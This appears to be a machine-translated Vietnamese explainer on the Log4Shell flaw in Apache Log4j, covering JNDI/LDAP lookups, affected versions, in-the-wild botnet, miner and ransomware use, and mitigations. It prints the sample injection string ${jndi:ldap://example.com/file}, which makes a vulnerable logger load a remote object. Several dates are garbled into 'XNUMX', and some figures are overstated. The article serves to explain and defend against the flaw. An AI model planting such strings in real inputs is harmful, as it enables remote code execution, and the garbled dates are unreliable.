Mục lục[Ẩn giấu][Chỉ]
Vào cuối tháng 2021 năm XNUMX, chúng tôi đã phát hiện ra một mối đe dọa lớn đối với an ninh mạng. Việc khai thác này có thể ảnh hưởng đến hàng triệu hệ thống máy tính trên toàn thế giới.
Đây là hướng dẫn về lỗ hổng Log4j và cách một lỗ hổng thiết kế bị bỏ qua khiến hơn 90% dịch vụ máy tính trên thế giới bị tấn công.
Apache Log4j là một tiện ích ghi nhật ký dựa trên Java mã nguồn mở được phát triển bởi Apache Software Foundation. Ban đầu được viết bởi Ceki Gülcü vào năm 2001, hiện nay nó là một phần của Dịch vụ ghi nhật ký Apache, một dự án của Apache Software Foundation.
Các công ty trên khắp thế giới sử dụng thư viện Log4j để cho phép đăng nhập trên các ứng dụng của họ. Trên thực tế, thư viện Java rất phổ biến, bạn có thể tìm thấy nó trong các ứng dụng của Amazon, Microsoft, Google, v.v.
Sự nổi bật của thư viện có nghĩa là bất kỳ lỗ hổng tiềm ẩn nào trong mã có thể khiến hàng triệu máy tính bị tấn công. Vào ngày 24 tháng 2021 năm XNUMX, a bảo mật đám mây nhà nghiên cứu làm việc cho Alibaba đã phát hiện ra một lỗ hổng khủng khiếp.
Lỗ hổng Log4j, còn được gọi là Log4Shell, tồn tại không được chú ý từ năm 2013. Lỗ hổng này cho phép các tác nhân độc hại chạy mã trên các hệ thống bị ảnh hưởng đang chạy Log4j. Nó đã được tiết lộ công khai vào ngày 9 tháng 2021 năm XNUMX
Các chuyên gia trong ngành gọi lỗ hổng Log4Shell là lỗ hổng lớn nhất trong bộ nhớ gần đây.
Trong tuần sau khi công bố lỗ hổng bảo mật, các nhóm an ninh mạng đã phát hiện hàng triệu cuộc tấn công. Một số nhà nghiên cứu thậm chí còn quan sát thấy tốc độ hơn một trăm cuộc tấn công mỗi phút.
Học như thế nào?
Để hiểu tại sao Log4Shell lại nguy hiểm như vậy, chúng ta cần hiểu nó có khả năng gì.
Lỗ hổng Log4Shell cho phép thực thi mã tùy ý, về cơ bản có nghĩa là kẻ tấn công có thể chạy bất kỳ lệnh hoặc mã nào trên máy mục tiêu.
Làm thế nào nó thực hiện được điều này?
Đầu tiên, chúng ta cần hiểu JNDI là gì.
Giao diện đặt tên và thư mục Java (JNDI) là một dịch vụ Java cho phép các chương trình Java khám phá và tra cứu dữ liệu và tài nguyên thông qua tên. Các dịch vụ thư mục này rất quan trọng vì chúng cung cấp một tập hợp các bản ghi có tổ chức để các nhà phát triển dễ dàng tham khảo khi tạo ứng dụng.
JNDI có thể sử dụng nhiều giao thức khác nhau để truy cập vào một thư mục nhất định. Một trong những giao thức này là Giao thức truy cập thư mục nhẹ hoặc LDAP.
Khi ghi nhật ký một chuỗi, log4j thực hiện thay thế chuỗi khi chúng gặp biểu thức của biểu mẫu ${prefix:name}
.
Ví dụ, Text: ${java:version}
có thể được ghi là Văn bản: Java phiên bản 1.8.0_65. Những kiểu thay thế này là phổ biến.
Chúng ta cũng có thể có các biểu thức như Text: ${jndi:ldap://example.com/file}
sử dụng hệ thống JNDI để tải một đối tượng Java từ một URL thông qua giao thức LDAP.
Điều này sẽ tải dữ liệu từ URL đó vào máy một cách hiệu quả. Bất kỳ tin tặc tiềm năng nào cũng có thể lưu trữ mã độc hại trên một URL công khai và đợi các máy sử dụng Log4j đăng nhập nó.
Vì nội dung của thông báo nhật ký chứa dữ liệu do người dùng kiểm soát, tin tặc có thể chèn các tham chiếu JNDI của riêng chúng trỏ đến các máy chủ LDAP mà chúng kiểm soát. Các máy chủ LDAP này có thể chứa đầy các đối tượng Java độc hại mà JNDI có thể thực thi thông qua lỗ hổng.
Điều làm cho điều này trở nên tồi tệ hơn là nó không quan trọng nếu ứng dụng là ứng dụng phía máy chủ hay phía máy khách.
Miễn là có cách để trình ghi đọc mã độc của kẻ tấn công, ứng dụng vẫn được mở để khai thác.
Ai bị ảnh hưởng?
Lỗ hổng bảo mật ảnh hưởng đến tất cả các hệ thống và dịch vụ sử dụng APache Log4j, với các phiên bản 2.0 trở lên và bao gồm cả 2.14.1.
Một số chuyên gia bảo mật khuyên rằng lỗ hổng bảo mật có thể ảnh hưởng đến một số ứng dụng sử dụng Java.
Lỗ hổng này lần đầu tiên được phát hiện trong trò chơi điện tử Minecraft do Microsoft sở hữu. Microsoft đã kêu gọi người dùng nâng cấp phần mềm Minecraft phiên bản Java của họ để ngăn ngừa mọi rủi ro.
Jen Easterly, Giám đốc Cơ quan An ninh mạng và Cơ sở hạ tầng (CISA) nói rằng các nhà cung cấp có trách nhiệm chính để ngăn người dùng cuối khỏi những kẻ xấu khai thác lỗ hổng này.
“Các nhà cung cấp cũng nên liên lạc với khách hàng của họ để đảm bảo người dùng cuối biết rằng sản phẩm của họ chứa lỗ hổng bảo mật này và nên ưu tiên các bản cập nhật phần mềm”.
Các cuộc tấn công đã bắt đầu. Symantec, một công ty cung cấp phần mềm an ninh mạng, đã quan sát thấy nhiều yêu cầu tấn công khác nhau.
Dưới đây là một số ví dụ về các kiểu tấn công mà các nhà nghiên cứu đã phát hiện:
- botnet
Botnet là một mạng lưới các máy tính nằm dưới sự kiểm soát của một bên tấn công duy nhất. Chúng giúp thực hiện các cuộc tấn công DDoS, đánh cắp dữ liệu và các trò gian lận khác. Các nhà nghiên cứu đã quan sát mạng botnet Muhstik trong các tập lệnh shell được tải xuống từ khai thác Log4j.
- Trojan khai thác XMRig
XMRig là một công cụ khai thác tiền điện tử mã nguồn mở sử dụng CPU để khai thác mã thông báo Monero. Tội phạm mạng có thể cài đặt XMRig trên thiết bị của mọi người để chúng có thể sử dụng sức mạnh xử lý mà chúng không hề hay biết.
- Phần mềm tống tiền Khonsari
Ransomware đề cập đến một dạng phần mềm độc hại được thiết kế để mã hóa tập tin Trên một máy tính. Những kẻ tấn công sau đó có thể yêu cầu thanh toán để đổi lấy việc cấp lại quyền truy cập vào các tệp được mã hóa. Các nhà nghiên cứu đã phát hiện ra phần mềm tống tiền Khonsari trong các cuộc tấn công Log4Shell. Chúng nhắm mục tiêu đến các máy chủ Windows và sử dụng .NET framework.
Điều gì sẽ xảy ra tiếp theo?
Các chuyên gia dự đoán có thể mất vài tháng hoặc thậm chí nhiều năm để khắc phục hoàn toàn sự hỗn loạn do lỗ hổng Log4J mang lại.
Quá trình này liên quan đến việc cập nhật mọi hệ thống bị ảnh hưởng với một phiên bản được vá. Ngay cả khi tất cả các hệ thống này đã được vá, vẫn có mối đe dọa tiềm tàng về các cửa hậu có thể xảy ra mà tin tặc có thể đã thêm vào cửa sổ mà các máy chủ đang mở để tấn công.
nhiều giải pháp và giảm thiểu tồn tại để ngăn chặn các ứng dụng bị khai thác bởi lỗi này. Phiên bản Log4j mới 2.15.0-rc1 đã thay đổi nhiều cài đặt khác nhau để giảm thiểu lỗ hổng này.
Tất cả các tính năng sử dụng JNDI sẽ bị tắt theo mặc định và tra cứu từ xa cũng bị hạn chế. Việc tắt tính năng tra cứu trên thiết lập Log4j của bạn sẽ giúp giảm nguy cơ có thể bị khai thác.
Bên ngoài Log4j, vẫn cần có một kế hoạch rộng lớn hơn để ngăn chặn việc khai thác mã nguồn mở.
Đầu tháng XNUMX, Nhà Trắng đã phát hành một lệnh điều hành nhằm cải thiện an ninh mạng quốc gia. Nó bao gồm một điều khoản cho một hóa đơn vật liệu phần mềm (SBOM) về cơ bản là một tài liệu chính thức chứa danh sách mọi hạng mục cần thiết để xây dựng ứng dụng.
Điều này bao gồm các phần như mã nguồn mở gói, phụ thuộc và API được sử dụng để phát triển. Mặc dù ý tưởng về SBOM rất hữu ích cho sự minh bạch, nhưng nó có thực sự giúp ích cho người tiêu dùng không?
Nâng cấp các phần phụ thuộc có thể quá phức tạp. Các công ty chỉ có thể chọn trả bất kỳ khoản tiền phạt nào thay vì có nguy cơ lãng phí thêm thời gian để tìm các gói thay thế. Có lẽ những SBOM này sẽ chỉ hữu ích nếu phạm vi còn hạn chế hơn nữa.
Kết luận
Vấn đề Log4j không chỉ là một vấn đề kỹ thuật đối với các tổ chức.
Các nhà lãnh đạo doanh nghiệp phải nhận thức được những rủi ro tiềm ẩn có thể xảy ra khi máy chủ, sản phẩm hoặc dịch vụ của họ dựa vào mã mà bản thân họ không duy trì.
Việc dựa vào các ứng dụng mã nguồn mở và bên thứ ba luôn đi kèm với một số rủi ro. Các công ty nên xem xét đưa ra các chiến lược giảm thiểu rủi ro trước khi các mối đe dọa mới xuất hiện.
Phần lớn web dựa trên phần mềm mã nguồn mở được duy trì bởi hàng nghìn tình nguyện viên trên toàn thế giới.
Nếu chúng ta muốn giữ cho web là một nơi an toàn, các chính phủ và tập đoàn nên đầu tư vào việc tài trợ cho các nỗ lực nguồn mở và các cơ quan an ninh mạng như CISA.
Bình luận